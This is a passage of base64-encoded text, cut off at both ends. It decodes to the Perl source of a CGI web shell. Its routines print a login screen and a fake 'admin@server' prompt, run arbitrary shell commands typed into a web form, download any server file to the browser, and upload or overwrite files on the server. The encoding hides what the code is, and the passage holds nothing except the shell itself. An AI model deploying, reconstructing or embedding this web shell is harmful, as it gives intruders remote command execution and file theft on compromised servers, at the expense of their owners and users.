3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09P